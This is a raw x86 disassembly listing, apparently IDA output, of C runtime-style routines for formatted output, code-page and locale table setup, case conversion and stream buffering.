		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 2670000h
		nop
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 26608BBh
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 26608C7h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	near ptr 2670000h
		nop
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


